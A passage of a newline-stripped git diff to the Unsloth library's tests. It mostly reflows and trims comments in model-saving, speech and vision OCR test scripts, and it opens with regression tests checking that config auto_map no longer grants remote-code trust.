config merely declares auto_map must NOT- # be treated as remote-code-loaded (that is exactly what enabled the consent-gate bypass).+ # The core bypass: a built-in-loadable model whose config merely declares auto_map must NOT be treated as+ # remote-code-loaded (that is exactly what enabled the consent-gate bypass).cfg = type("Cfg", (), {"auto_map": {"AutoModelForCausalLM": "modeling_x.Model"}})()assert (_loaded_via_remote_code(_obj("transformers.models.llama.modeling_llama", config = cfg))@@ -89,8 +89,8 @@ def test_wrapper_over_builtin_stays_false():def test_processor_held_custom_tokenizer_is_detected():- # A built-in ProcessorMixin can hold an approved custom-code tokenizer; the walk must- # descend into processor components or the export reload loses that approved trust.+ # A built-in ProcessorMixin can hold an approved custom-code tokenizer; the walk must descend into processor+ # components or the export reload loses that approved trust.tok = _obj("transformers_modules.acme.tokenization_x")proc = _obj("transformers.processing_utils", tokenizer = tok)assert _loaded_via_remote_code(proc) is True@@ -131,16 +131,16 @@ def test_torchao_export_derives_trust_from_load_decision():def test_compressed_and_gguf_lora_paths_drop_auto_map_trust():- # No path derives a trust decision straight from config auto_map anymore, and no path- # collapses model and tokenizer trust into one flag.+ # No path derives a trust decision straight from config auto_map anymore, and no path collapses model and tokenizer+ # trust into one flag.assert 'bool(getattr(model.config, "auto_map", None))' not in _SRCassert "_loaded_via_remote_code(model) or _loaded_via_remote_code(tokenizer)" not in _SRCassert "if _loaded_via_remote_code(model):" in _SRC # GGUF-LoRA converter flagdef test_compressed_export_keeps_model_and_tokenizer_trust_separate():- # The subprocess gets one flag per component, so an approved custom tokenizer cannot- # enable an unapproved model's code during compressed quantization (or vice versa).+ # The subprocess gets one flag per component, so an approved custom tokenizer cannot enable an unapproved model's+ # code during compressed quantization (or vice versa).assert 'cmd.append("--trust-remote-code")' in _SRCassert 'cmd.append("--trust-remote-code-tokenizer")' in _SRCqsrc = (_SAVE_PY.parent / "_compressed_quantize.py").read_text(encoding = "utf-8")diff --git a/tests/saving/test_unsloth_save.py b/tests/saving/test_unsloth_save.pyindex fa75b27af1d..3096d5e2098 100644--- a/tests/saving/test_unsloth_save.py+++ b/tests/saving/test_unsloth_save.py@@ -8,49 +8,39 @@ import importlibfrom unsloth import FastLanguageModel, FastModel# Every param here downloads a checkpoint and merges it on the accelerator;-# the file was 877s, 29% of the repo's total test time, before its matrix was-# cut to three models. CI runs it under `-m gpu`.+# the file was 877s, 29% of the repo's total test time, before its matrix was cut to three models.+# CI runs it under `-m gpu`.pytestmark = pytest.mark.gpu# One model per save path, and the smallest model that still exercises the path.-# This file runs in the default `pytest tests/` walk (unlike the rest of-# tests/saving/, which is gated behind UNSLOTH_RUN_SAVING_SCRIPTS), so every-# entry here is paid by anyone who runs the suite. The ten-model matrix it grew-# to cost 877s, 29% of the whole repo's test time; these three cover the same-# paths. Distinct paths, not distinct checkpoints, are what earn a slot:-#-# * text, 16-bit on disk -> Qwen2.5-0.5B-Instruct-# * text, already 4-bit on disk -> tinyllama-bnb-4bit-# * vision -> Qwen2.5-VL-3B-Instruct-#-# Dropped: tinyllama and Qwen2.5-0.5B (same text path as Qwen2.5-0.5B-Instruct,-# and the first is 2x its size); Qwen2.5-0.5B-Instruct-bnb-4bit and-# Phi-4-mini-instruct-bnb-4bit (loading a pre-quantized checkpoint is one path,-# so it gets one model, not four); Phi-4-mini-instruct (3.8B, adds no path a-# 0.5B does not); gemma-3-4b-it (vision, but 4B against Qwen2.5-VL's 3B);-# Llama-3.2-11B-Vision-Instruct-bnb-4bit (11B, and its merged 16-bit write was-# 21.3GB to $TMPDIR per run).+# This file runs in the default `pytest tests/` walk (unlike the rest of tests/saving/, which is gated behind+# UNSLOTH_RUN_SAVING_SCRIPTS), so every entry here is paid by anyone who runs the suite.+# The ten-model matrix it grew to cost 877s, 29% of the whole repo's test time; these three cover the same paths.+# Distinct paths, not distinct checkpoints, are what earn a slot: text 16-bit on disk (Qwen2.5-0.5B-Instruct),+# text already 4-bit on disk (tinyllama-bnb-4bit), vision (Qwen2.5-VL-3B-Instruct).+# Dropped: tinyllama and Qwen2.5-0.5B (same text path as Qwen2.5-0.5B-Instruct, and the first is 2x its size);+# Qwen2.5-0.5B-Instruct-bnb-4bit and Phi-4-mini-instruct-bnb-4bit (loading a pre-quantized checkpoint is one path,+# so it gets one model, not four); Phi-4-mini-instruct (3.8B, adds no path a 0.5B does not); gemma-3-4b-it (vision,+# but 4B against Qwen2.5-VL's 3B);+# Llama-3.2-11B-Vision-Instruct-bnb-4bit (11B, and its merged 16-bit write was 21.3GB to $TMPDIR per run).model_to_test = [# Text, 16-bit on disk."unsloth/Qwen2.5-0.5B-Instruct",- # Text, already 4-bit on disk: from_pretrained has to load a pre-quantized- # checkpoint and the merge has to dequantize back out of it.+ # Text, already 4-bit on disk: from_pretrained has to load a pre-quantized checkpoint and the merge has to+ # dequantize back out of it."unsloth/tinyllama-bnb-4bit",- # Vision, and the only entry whose merged 16-bit output clears the 5GB- # safetensors shard limit -- so it is what keeps sharded output and its- # index file covered here. The dedicated sharded-index tests+ # Vision, and the only entry whose merged 16-bit output clears the 5GB safetensors shard limit, so it is what+ # keeps sharded output and its index file covered here. The dedicated sharded-index tests# (vision_models/test_index_file_sharded_model.py,- # language_models/test_push_to_hub_merged_sharded_index_file.py) do NOT- # cover it in a default run: both are behind UNSLOTH_RUN_SAVING_SCRIPTS.- # Keep an entry above 5GB here, or that path stops being exercised.+ # language_models/test_push_to_hub_merged_sharded_index_file.py) do NOT cover it in a default run: both are behind+ # UNSLOTH_RUN_SAVING_SCRIPTS. Keep an entry above 5GB here, or that path stops being exercised."unsloth/Qwen2.5-VL-3B-Instruct-bnb-4bit",]torchao_models = [- # One model: both entries drove the same save_pretrained_torchao path, and- # tinyllama is 1.1B against this one's 0.5B.+ # One model: both entries drove the same save_pretrained_torchao path, and tinyllama is 1.1B against this+ # one's 0.5B."unsloth/Qwen2.5-0.5B-Instruct",- # Skip the -bnb-4bit variants since they're already quantized]@@ -71,7 +61,7 @@ def loaded_model_tokenizer(request):print("Loading model and tokenizer...")model, tokenizer = FastModel.from_pretrained(- model_name, # use small model+ model_name,max_seq_length = 128,dtype = None,load_in_4bit = True,@@ -98,7 +88,7 @@ def fp16_model_tokenizer(request):model_name,max_seq_length = 128,dtype = None,- load_in_4bit = False, # no BnB quantization+ load_in_4bit = False,)model = FastModel.get_peft_model(@@ -166,7 +156,6 @@ def test_save_merged_16bit(model, tokenizer, temp_save_dir: str):os.path.join(save_path, file)), f"{file} not found in the save directory."- # 16bit means no quantization config.config_path = os.path.join(save_path, "config.json")with open(config_path, "r") as f:config = json.load(f)@@ -216,7 +205,6 @@ def test_save_merged_4bit(model, tokenizer, temp_save_dir: str):total_size < save_file_sizes["merged_16bit"][model.config._name_or_path]), "Merged 4bit files are larger than merged 16bit files."- # 4bit means there's a quantization config.config_path = os.path.join(save_path, "config.json")with open(config_path, "r") as f:config = json.load(f)@@ -285,8 +273,6 @@ def test_save_torchao(fp16_model_tokenizer, temp_save_dir: str):assert "quantization_config" in config, "Quantization config not found in the model config."- # load_in_4bit must stay False: a torchao-quantized model can't be- # re-quantized with bitsandbytes.import torch.serializationwith torch.serialization.safe_globals([getattr]):@@ -327,6 +313,7 @@ def test_save_and_inference_torchao(fp16_model_tokenizer, temp_save_dir: str):torchao_save_path), f"TorchAO directory {torchao_save_path} does not exist."+ # load_in_4bit must stay False: a torchao-quantized model can't be re-quantized with bitsandbytes.import torch.serializationwith torch.serialization.safe_globals([getattr]):diff --git a/tests/saving/text_to_speech_models/test_csm.py b/tests/saving/text_to_speech_models/test_csm.pyindex 43663ca0eda..146346450a3 100644--- a/tests/saving/text_to_speech_models/test_csm.py+++ b/tests/saving/text_to_speech_models/test_csm.py@@ -1,5 +1,4 @@-# tests/saving scripts run their whole body at import, so plain pytest-# collection would download checkpoints and train. Skip unless opted in.+# tests/saving scripts run their whole body at import, so plain pytest collection would download checkpoints and train.import sys as _sysfrom pathlib import Path as _Pathdiff --git a/tests/saving/text_to_speech_models/test_lasa.py b/tests/saving/text_to_speech_models/test_lasa.pyindex 416d0506609..e1df3a2a469 100644--- a/tests/saving/text_to_speech_models/test_lasa.py+++ b/tests/saving/text_to_speech_models/test_lasa.py@@ -1,5 +1,4 @@-# tests/saving scripts run their whole body at import, so plain pytest-# collection would download checkpoints and train. Skip unless opted in.+# tests/saving scripts run their whole body at import, so plain pytest collection would download checkpoints and train.import sys as _sysfrom pathlib import Path as _Path@@ -59,7 +58,6 @@ model, tokenizer = FastLanguageModel.from_pretrained(max_seq_length = max_seq_length,dtype = None,load_in_4bit = False,- # token = "hf_...", # use one if using gated models like meta-llama/Llama-2-7b-hf)base_model_class = model.__class__.__name__@@ -133,11 +131,8 @@ model, tokenizer = FastLanguageModel.from_pretrained(max_seq_length = max_seq_length,dtype = None,load_in_4bit = False,- # token = "hf_...", # use one if using gated models like meta-llama/Llama-2-7b-hf)-# from transformers import AutoProcessor-# processor = AutoProcessor.from_pretrained("unsloth/csm-1b")print("✅ Model loaded for inference successfully!")@@ -216,8 +211,6 @@ except Exception as e:assert False, f"Inference failed with exception: {e}"-## assert that transcribed_text contains The birch canoe slid on the smooth planks. Glued the sheet to the dark blue background. It's easy to tell the depth of a well. Four hours of steady work faced us.-print("✅ All sections passed successfully!")diff --git a/tests/saving/text_to_speech_models/test_orpheus.py b/tests/saving/text_to_speech_models/test_orpheus.pyindex cb27a5bf63f..f141c9d5190 100644--- a/tests/saving/text_to_speech_models/test_orpheus.py+++ b/tests/saving/text_to_speech_models/test_orpheus.py@@ -1,5 +1,4 @@-# tests/saving scripts run their whole body at import, so plain pytest-# collection would download checkpoints and train. Skip unless opted in.+# tests/saving scripts run their whole body at import, so plain pytest collection would download checkpoints and train.import sys as _sysfrom pathlib import Path as _Path@@ -44,10 +43,9 @@ print(f"{'='*80}")model, tokenizer = FastLanguageModel.from_pretrained(model_name = "unsloth/orpheus-3b-0.1-ft",- max_seq_length = 2048, # Choose any for long context!- dtype = None, # Select None for auto detection- load_in_4bit = False, # Select True for 4bit which reduces memory usage- # token = "hf_...", # use one if using gated models like meta-llama/Llama-2-7b-hf+ max_seq_length = 2048,+ dtype = None,+ load_in_4bit = False,)base_model_class = model.__class__.__name__@@ -68,7 +66,6 @@ model = FastLanguageModel.get_peft_model(lora_alpha = 64,lora_dropout = 0, # Supports any, but = 0 is optimizedbias = "none", # Supports any, but = "none" is optimized- # [NEW] "unsloth" uses 30% less VRAM, fits 2x larger batch sizes!use_gradient_checkpointing = "unsloth", # True or "unsloth" for very long contextrandom_state = 3407,use_rslora = False, # We support rank stabilized LoRA@@ -126,14 +123,11 @@ print(f"{'='*80}")model, tokenizer = FastLanguageModel.from_pretrained(model_name = "unsloth/orpheus-3b-0.1-ft",- max_seq_length = 2048, # Choose any for long context!- dtype = None, # Select None for auto detection- load_in_4bit = False, # Select True for 4bit which reduces memory usage- # token = "hf_...", # use one if using gated models like meta-llama/Llama-2-7b-hf+ max_seq_length = 2048,+ dtype = None,+ load_in_4bit = False,)-# from transformers import AutoProcessor-# processor = AutoProcessor.from_pretrained("unsloth/csm-1b")print("✅ Model loaded for inference successfully!")@@ -143,9 +137,6 @@ print("🔍 SECTION 6: Running Inference")print(f"{'='*80}")-# @title Run Inference--FastLanguageModel.for_inference(model) # Enable native 2x faster inferencesnac_model.to("cpu")@@ -168,9 +159,7 @@ end_tokens = torch.tensor([[128009, 128260]], dtype = torch.int64) # End of texall_modified_input_ids = []for input_ids in all_input_ids:- modified_input_ids = torch.cat(- [start_token, input_ids, end_tokens], dim = 1- ) # SOH SOT Text EOT EOH+ modified_input_ids = torch.cat([start_token, input_ids, end_tokens], dim = 1)all_modified_input_ids.append(modified_input_ids)all_padded_tensors = []@@ -255,7 +244,6 @@ def redistribute_codes(code_list):torch.tensor(layer_3).unsqueeze(0),]- # codes = [c.to("cuda") for c in codes]audio_hat = snac_model.decode(codes)return audio_hat@@ -280,7 +268,6 @@ import osassert os.path.exists(output_path), f"Audio file not found at {output_path}"print("✅ Audio file exists on disk!")del my_samples, samples-## assert that transcribed_text contains The birch canoe slid on the smooth planks. Glued the sheet to the dark blue background. It's easy to tell the depth of a well. Four hours of steady work faced us.print("✅ All sections passed successfully!")diff --git a/tests/saving/text_to_speech_models/test_whisper.py b/tests/saving/text_to_speech_models/test_whisper.pyindex ad1bfdb661a..eb3259a49c0 100644--- a/tests/saving/text_to_speech_models/test_whisper.py+++ b/tests/saving/text_to_speech_models/test_whisper.py@@ -1,6 +1,4 @@# ruff: noqa-# tests/saving scripts run their whole body at import, so plain pytest-# collection would download checkpoints and train. Skip unless opted in.import sys as _sysfrom pathlib import Path as _Path@@ -15,15 +13,14 @@ _require_opt_in(import pytesttry:- # unsloth first, so it can patch transformers/peftfrom unsloth import FastLanguageModel, FastModelfrom transformers import WhisperForConditionalGeneration, WhisperProcessorimport torchfrom peft import PeftModelimport requestsexcept ImportError as exc:- # Imported at collection time, so an absent runtime dep (triton on the- # Windows CI runner) is a collection error that reports no results at all.+ # Imported at collection time, so an absent runtime dep (triton on the Windows CI runner) is a collection error that+ # reports no results at all.pytest.skip(f"requires the full unsloth runtime: {exc}",allow_module_level = True,@@ -53,12 +50,11 @@ print(f"{'=' * 80}")model, tokenizer = FastModel.from_pretrained(model_name = "unsloth/whisper-large-v3",- dtype = None, # Leave as None for auto detection- load_in_4bit = False, # Set to True to do 4bit quantization which reduces memory+ dtype = None,+ load_in_4bit = False,auto_model = WhisperForConditionalGeneration,whisper_language = "English",whisper_task = "transcribe",- # token = "hf_...", # use one if using gated models like meta-llama/Llama-2-7b-hf)@@ -75,7 +71,6 @@ model = FastModel.get_peft_model(lora_alpha = 64,lora_dropout = 0, # Supports any, but = 0 is optimizedbias = "none", # Supports any, but = "none" is optimized- # [NEW] "unsloth" uses 30% less VRAM, fits 2x larger batch sizes!use_gradient_checkpointing = "unsloth", # True or "unsloth" for very long contextrandom_state = 3407,use_rslora = False, # We support rank stabilized LoRA@@ -135,16 +130,13 @@ print(f"{'=' * 80}")model, tokenizer = FastModel.from_pretrained(model_name = "./whisper",- dtype = None, # Leave as None for auto detection- load_in_4bit = False, # Set to True to do 4bit quantization which reduces memory+ dtype = None,+ load_in_4bit = False,auto_model = WhisperForConditionalGeneration,whisper_language = "English",whisper_task = "transcribe",- # token = "hf_...", # use one if using gated models like meta-llama/Llama-2-7b-hf)-# model = WhisperForConditionalGeneration.from_pretrained("./whisper")-# processor = WhisperProcessor.from_pretrained("./whisper")print("✅ Model loaded for inference successfully!")@@ -165,9 +157,9 @@ try:f.write(response.content)print("✅ Audio file downloaded successfully!")except Exception as e:- # Runs at import, so a failure here is a collection error and the whole file- # reports no results. Wikimedia rate-limits this URL (429 in a batch run) and- # a fixture we could not fetch says nothing about unsloth, so skip.+ # Runs at import, so a failure here is a collection error and the whole file reports no results.+ # Wikimedia rate-limits this URL (429 in a batch run) and a fixture we could not fetch says nothing about unsloth,+ # so skip.pytest.skip(f"could not download the test audio fixture from {audio_url}: {e}",allow_module_level = True,@@ -194,12 +186,8 @@ whisper = pipeline()audio_file = "Speech_12dB_s16.flac"transcribed_text = whisper(audio_file)-# audio, sr = sf.read(audio_file)-# input_features = processor(audio, return_tensors="pt").input_features-# transcribed_text = model.generate(input_features=input_features)print(f"📝 Transcribed Text: {transcribed_text['text']}")-# Assert the transcription contains the expected reference phrases.expected_phrases = ["birch canoe slid on the smooth planks","sheet to the dark blue background",diff --git a/tests/saving/vision_models/test_index_file_sharded_model.py b/tests/saving/vision_models/test_index_file_sharded_model.pyindex 79a00af4afb..d44ccf9af5c 100644--- a/tests/saving/vision_models/test_index_file_sharded_model.py+++ b/tests/saving/vision_models/test_index_file_sharded_model.py@@ -1,5 +1,4 @@-# tests/saving scripts run their whole body at import, so plain pytest-# collection would download checkpoints and train. Skip unless opted in.+# tests/saving scripts run their whole body at import, so plain pytest collection would download checkpoints and train.import sys as _sysfrom pathlib import Path as _Path@@ -40,7 +39,6 @@ print(f" 📈 Training samples: {len(train_dataset)}")print(f" 📊 Evaluation samples: {len(eval_dataset)}")-# Convert dataset to OAI messages.def format_data(sample):return {"messages": [@@ -86,7 +84,7 @@ print("🤖 Loading base vision model...")try:model, tokenizer = FastVisionModel.from_pretrained(model_name = "unsloth/Qwen2-VL-7B-Instruct",- max_seq_length = 2048, # Choose any for long context!+ max_seq_length = 2048,load_in_4bit = True, # 4 bit quantization to reduce memoryload_in_8bit = False, # [NEW!] A bit more accurate, uses 2x memoryfull_finetuning = False, # [NEW!] We have full finetuning now!@@ -136,15 +134,12 @@ try:data_collator = UnslothVisionDataCollator(model, tokenizer),train_dataset = train_dataset,args = SFTConfig(- # per_device_train_batch_size = 4,- # gradient_accumulation_steps = 8,per_device_train_batch_size = 2,gradient_accumulation_steps = 4,gradient_checkpointing = True,gradient_checkpointing_kwargs = {"use_reentrant": False},max_grad_norm = 0.3, # max gradient norm based on QLoRA paperwarmup_ratio = 0.03,- # num_train_epochs = 2, # Set this instead of max_steps for full training runsmax_steps = 10,learning_rate = 2e-4,fp16 = not is_bf16_supported(),@@ -157,7 +152,6 @@ try:seed = 3407,output_dir = "checkpoints",report_to = "none", # For Weights and Biases- # You MUST put the below items for vision finetuning:remove_unused_columns = False,dataset_text_field = "",dataset_kwargs = {"skip_prepare_dataset": True},@@ -215,7 +209,6 @@ success = {"safetensors_check": False,"download": False,}-# Stage 1: upload model to Hubtry:print("\n" + "=" * 80)print("=== UPLOADING MODEL TO HUB ===".center(80))@@ -228,7 +221,6 @@ except Exception as e:print(f"❌ Failed to upload model: {e}")raise Exception("Model upload failed.")-# Stage 2: verify safetensors.index.json existstry:print("\n" + "=" * 80)print("=== VERIFYING REPO CONTENTS ===".center(80))@@ -247,7 +239,6 @@ except Exception as e:print(f"❌ Verification failed: {e}")raise Exception("Repo verification failed.")-# Stage 3: test download even if cachedsafe_remove_directory(f"./{hf_username}")try:diff --git a/tests/saving/vision_models/test_push_to_hub_merged.py b/tests/saving/vision_models/test_push_to_hub_merged.pyindex 7dc06f35224..400e0608d6b 100644--- a/tests/saving/vision_models/test_push_to_hub_merged.py+++ b/tests/saving/vision_models/test_push_to_hub_merged.py@@ -1,5 +1,4 @@-# tests/saving scripts run their whole body at import, so plain pytest-# collection would download checkpoints and train. Skip unless opted in.+# tests/saving scripts run their whole body at import, so plain pytest collection would download checkpoints and train.import sys as _sysfrom pathlib import Path as _Path@@ -11,7 +10,6 @@ _require_opt_in("GPU + Hub saving script; its body runs at import.",)-## Import required librariesfrom unsloth import FastVisionModel, is_bf16_supportedfrom unsloth.trainer import UnslothVisionDataCollator@@ -32,8 +30,6 @@ sys.path.insert(0, str(REPO_ROOT))from tests.utils.cleanup_utils import safe_remove_directory-## Dataset Preparation"""-print("\n📊 Loading and preparing dataset...")dataset = load_dataset("lbourdois/OCR-liboaccn-OPUS-MIT-5M-clean", "en", split = "train")train_dataset = dataset.select(range(2000))@@ -44,7 +40,6 @@ print(f" 📈 Training samples: {len(train_dataset)}")print(f" 📊 Evaluation samples: {len(eval_dataset)}")-# Convert to OAI messages formatdef format_data(sample):return {"messages": [@@ -89,9 +84,8 @@ print("=" * 80 + "\n")print("🤖 Loading base vision model...")try:model, tokenizer = FastVisionModel.from_pretrained(- # model_name = "unsloth/Qwen2-VL-7B-Instruct",model_name = "unsloth/Qwen2-VL-2B-Instruct",- max_seq_length = 2048, # Choose any for long context!+ max_seq_length = 2048,load_in_4bit = True, # 4 bit quantization to reduce memoryload_in_8bit = False, # [NEW!] A bit more accurate, uses 2x memoryfull_finetuning = False, # [NEW!] We have full finetuning now!@@ -101,7 +95,6 @@ except Exception as e:raiseprint("\n🔧 Setting up LoRA configuration...")-## Lora Finetuningtry:model = FastVisionModel.get_peft_model(model,@@ -142,15 +135,12 @@ try:data_collator = UnslothVisionDataCollator(model, tokenizer),train_dataset = train_dataset,args = SFTConfig(- # per_device_train_batch_size = 4,- # gradient_accumulation_steps = 8,per_device_train_batch_size = 2,gradient_accumulation_steps = 4,gradient_checkpointing = True,gradient_checkpointing_kwargs = {"use_reentrant": False},max_grad_norm = 0.3, # from QLoRA paperwarmup_ratio = 0.03,- # num_train_epochs = 2, # Set this instead of max_steps for full training runsmax_steps = 10,learning_rate = 2e-4,fp16 = not is_bf16_supported(),@@ -163,7 +153,6 @@ try:seed = 3407,output_dir = "checkpoints",report_to = "none", # For Weights and Biases- # You MUST put the below items for vision finetuning:remove_unused_columns = False,dataset_text_field = "",dataset_kwargs = {"skip_prepare_dataset": True},diff --git a/tests/saving/vision_models/test_save_merge_qwen2_5vl32B_model_ocr_benchmark.py b/tests/saving/vision_models/test_save_merge_qwen2_5vl32B_model_ocr_benchmark.pyindex 76556606bfd..79e9c9cc897 100644--- a/tests/saving/vision_models/test_save_merge_qwen2_5vl32B_model_ocr_benchmark.py+++ b/tests/saving/vision_models/test_save_merge_qwen2_5vl32B_model_ocr_benchmark.py@@ -1,6 +1,5 @@# -*- coding: utf-8 -*--# tests/saving scripts run their whole body at import, so plain pytest-# collection would download checkpoints and train. Skip unless opted in.+# tests/saving scripts run their whole body at import, so plain pytest collection would download checkpoints and train.import sys as _sysfrom pathlib import Path as _Path@@ -32,7 +31,6 @@ from tests.utils.cleanup_utils import safe_remove_directoryfrom tests.utils.ocr_eval import OCRModelEvaluator-## Dataset Preparationfrom datasets import load_datasetdataset = load_dataset("lbourdois/OCR-liboaccn-OPUS-MIT-5M-clean", "en", split = "train")@@ -40,7 +38,6 @@ train_dataset = dataset.select(range(2000))eval_dataset = dataset.select(range(2000, 2200))-# Convert dataset to OAI messagesdef format_data(sample):return {"messages": [@@ -74,7 +71,6 @@ system_message = "You are an expert french ocr system."train_dataset = [format_data(sample) for sample in train_dataset]eval_dataset = [format_data(sample) for sample in eval_dataset]-## Setup OCR main evaluation function and helpersimport osimport torchfrom tqdm import tqdm@@ -85,17 +81,15 @@ from qwen_vl_utils import process_vision_infoocr_evaluator = OCRModelEvaluator()model_comparison_results = {}-## Finetuning Setup and Runmodel, tokenizer = FastVisionModel.from_pretrained(model_name = "unsloth/Qwen2.5-VL-32B-Instruct-bnb-4bit",- max_seq_length = 2048, # Choose any for long context!+ max_seq_length = 2048,load_in_4bit = True, # 4 bit quantization to reduce memoryload_in_8bit = False, # [NEW!] A bit more accurate, uses 2x memoryfull_finetuning = False, # [NEW!] We have full finetuning now!)-# Benchmark base modelmodel_name = "Unsloth Base model"FastVisionModel.for_inference(model)avg_wer, avg_cer = ocr_evaluator.evaluate_model(@@ -103,7 +97,6 @@ avg_wer, avg_cer = ocr_evaluator.evaluate_model()ocr_evaluator.add_to_comparison(model_name, avg_wer, avg_cer)-## Lora Finetuningmodel = FastVisionModel.get_peft_model(model,finetune_vision_layers = True, # Turn off for just text!@@ -111,12 +104,9 @@ model = FastVisionModel.get_peft_model(finetune_attention_modules = True, # Attention good for GRPOfinetune_mlp_modules = True, # Should leave on always!r = 16, # Choose any number > 0 ! Suggested 8, 16, 32, 64, 128- # target_modules = ["q_proj", "k_proj", "v_proj", "o_proj",- # "gate_proj", "up_proj", "down_proj",],lora_alpha = 32,lora_dropout = 0, # Supports any, but = 0 is optimizedbias = "none", # Supports any, but = "none" is optimized- # [NEW] "unsloth" uses 30% less VRAM, fits 2x larger batch sizes!use_gradient_checkpointing = "unsloth", # True or "unsloth" for very long contextrandom_state = 3407,use_rslora = False, # We support rank stabilized LoRA@@ -136,15 +126,12 @@ trainer = SFTTrainer(data_collator = UnslothVisionDataCollator(model, tokenizer),train_dataset = train_dataset,args = SFTConfig(- # per_device_train_batch_size = 4,- # gradient_accumulation_steps = 8,per_device_train_batch_size = 2,gradient_accumulation_steps = 4,gradient_checkpointing = True,gradient_checkpointing_kwargs = {"use_reentrant": False},max_grad_norm = 0.3, # max gradient norm based on QLoRA paperwarmup_ratio = 0.03,- # num_train_epochs = 2, # Set this instead of max_steps for full training runsmax_steps = 60,learning_rate = 2e-4,fp16 = not is_bf16_supported(),@@ -157,7 +144,6 @@ trainer = SFTTrainer(seed = 3407,output_dir = "unsloth-qwen2.5-vl-32b-french-ocr-checkpoints",report_to = "none", # For Weights and Biases- # You MUST put the below items for vision finetuning:remove_unused_columns = False,dataset_text_field = "",dataset_kwargs = {"skip_prepare_dataset": True},@@ -171,7 +157,6 @@ trainer_stats = trainer.train()model.save_pretrained("unsloth-qwen2.5-vl-32b-french-ocr-adapter", tokenizer)tokenizer.save_pretrained("unsloth-qwen2.5-vl-32b-french-ocr-adapter")-## Measure Adapter Performancemodel_name = "Unsloth lora adapter model"FastVisionModel.for_inference(model)@@ -180,8 +165,6 @@ avg_wer, avg_cer = ocr_evaluator.evaluate_model()ocr_evaluator.add_to_comparison(model_name, avg_wer, avg_cer)-## Merge Model-def find_lora_base_model(model_to_inspect):current = model_to_inspect@@ -196,16 +179,11 @@ base = find_lora_base_model(model)print((base.__class__.__name__))-# Merge to 16-bit (default)model.save_pretrained_merged(save_directory = "qwen2.5-ocr-merged-finetune-merge-16bit", tokenizer = tokenizer)-## Benchmark merged model performance--### 16 bits merged model-model, tokenizer = FastVisionModel.from_pretrained("./qwen2.5-ocr-merged-finetune-merge-16bit", load_in_4bit = False, load_in_8bit = False)@@ -221,7 +199,6 @@ avg_wer, avg_cer = ocr_evaluator.evaluate_model()ocr_evaluator.add_to_comparison(model_name, avg_wer, avg_cer)-# Load 16bits-merged model in 4 bitsmodel, tokenizer = FastVisionModel.from_pretrained("./qwen2.5-ocr-merged-finetune-merge-16bit", load_in_4bit = True, load_in_8bit = False)@@ -237,7 +214,6 @@ avg_wer, avg_cer = ocr_evaluator.evaluate_model()ocr_evaluator.add_to_comparison(model_name, avg_wer, avg_cer)-# Load 16bits-merged model in 8 bitsmodel, tokenizer = FastVisionModel.from_pretrained("./qwen2.5-ocr-merged-finetune-merge-16bit", load_in_4bit = False, load_in_8bit = True)@@ -251,31 +227,10 @@ avg_wer, avg_cer = ocr_evaluator.evaluate_model()ocr_evaluator.add_to_comparison(model_name, avg_wer, avg_cer)-# """### 4 bits merged model"""-#-# # load 4bits-merged model in 4 bits-# model, tokenizer = FastVisionModel.from_pretrained("./qwen2-ocr-merged-finetune-merge-4bit",load_in_4bit=True, load_in_8bit=False)-#-# # benchmark 4bit loaded, 4bits merged model performance-# model_name = "Unsloth 4bits-merged model load-4bits"-#-# avg_wer, avg_cer = ocr_evaluator.evaluate_model(model, tokenizer, eval_dataset, output_dir="unsloth_4bits_merged_model_load_4bits_results")-# ocr_evaluator.add_to_comparison(model_name, avg_wer, avg_cer)-#-# # load model in 8 bits-# model, tokenizer = FastVisionModel.from_pretrained("./qwen2-ocr-merged-finetune-merge-4bit",load_in_4bit=False, load_in_8bit=True)-#-# # benchmark 8bit loaded, 4bits merged model performance-# model_name = "Unsloth 4bits-merged model load-8bits"-#-# avg_wer, avg_cer = ocr_evaluator.evaluate_model(model, tokenizer, eval_dataset, output_dir="unsloth_4bits_merged_model_load_8bits_results")-# ocr_evaluator.add_to_comparison(model_name, avg_wer, avg_cer)--# Model comparison report+ocr_evaluator.print_model_comparison()-# Final cleanupprint("\n🧹 Cleaning up temporary files...")safe_remove_directory("./unsloth-qwen2.5-vl-32b-french-ocr-adapter")safe_remove_directory("./unsloth-qwen2.5-vl-32b-french-ocr-checkpoints")diff --git a/tests/saving/vision_models/test_save_merge_vision_model_ocr_benchmark.py b/tests/saving/vision_models/test_save_merge_vision_model_ocr_benchmark.pyindex 327940412a1..d905a3df997 100644--- a/tests/saving/vision_models/test_save_merge_vision_model_ocr_benchmark.py+++ b/tests/saving/vision_models/test_save_merge_vision_model_ocr_benchmark.py@@ -1,6 +1,5 @@# -*- coding: utf-8 -*--# tests/saving scripts run their whole body at import, so plain pytest-# collection would download checkpoints and train. Skip unless opted in.+# tests/saving scripts run their whole body at import, so plain pytest collection would download checkpoints and train.import sys as _sysfrom pathlib import Path as _Path@@ -85,13 +84,12 @@ model_comparison_results = {}model, tokenizer = FastVisionModel.from_pretrained(model_name = "unsloth/Qwen2-VL-7B-Instruct",- max_seq_length = 2048, # Choose any for long context!+ max_seq_length = 2048,load_in_4bit = True, # 4 bit quantization to reduce memoryload_in_8bit = False, # [NEW!] A bit more accurate, uses 2x memoryfull_finetuning = False, # [NEW!] We have full finetuning now!)-# Benchmark base model.model_name = "Unsloth Base model"FastVisionModel.for_inference(model)avg_wer, avg_cer = ocr_evaluator.evaluate_model(@@ -106,12 +104,9 @@ model = FastVisionModel.get_peft_model(finetune_attention_modules = True, # Attention good for GRPOfinetune_mlp_modules = True, # Should leave on always!r = 16, # Choose any number > 0 ! Suggested 8, 16, 32, 64, 128- # target_modules = ["q_proj", "k_proj", "v_proj", "o_proj",- # "gate_proj", "up_proj", "down_proj",],lora_alpha = 32,lora_dropout = 0, # Supports any, but = 0 is optimizedbias = "none", # Supports any, but = "none" is optimized- # [NEW] "unsloth" uses 30% less VRAM, fits 2x larger batch sizes!use_gradient_checkpointing = "unsloth", # True or "unsloth" for very long contextrandom_state = 3407,use_rslora = False, # We support rank stabilized LoRA@@ -131,15 +126,12 @@ trainer = SFTTrainer(data_collator = UnslothVisionDataCollator(model, tokenizer),train_dataset = train_dataset,args = SFTConfig(- # per_device_train_batch_size = 4,- # gradient_accumulation_steps = 8,per_device_train_batch_size = 2,gradient_accumulation_steps = 4,gradient_checkpointing = True,gradient_checkpointing_kwargs = {"use_reentrant": False},max_grad_norm = 0.3, # QLoRA paperwarmup_ratio = 0.03,- # num_train_epochs = 2, # Set this instead of max_steps for full training runsmax_steps = 60,learning_rate = 2e-4,fp16 = not is_bf16_supported(),@@ -152,7 +144,6 @@ trainer = SFTTrainer(seed = 3407,output_dir = "unsloth-qwen2-7vl-french-ocr-checkpoints",report_to = "none", # For Weights and Biases- 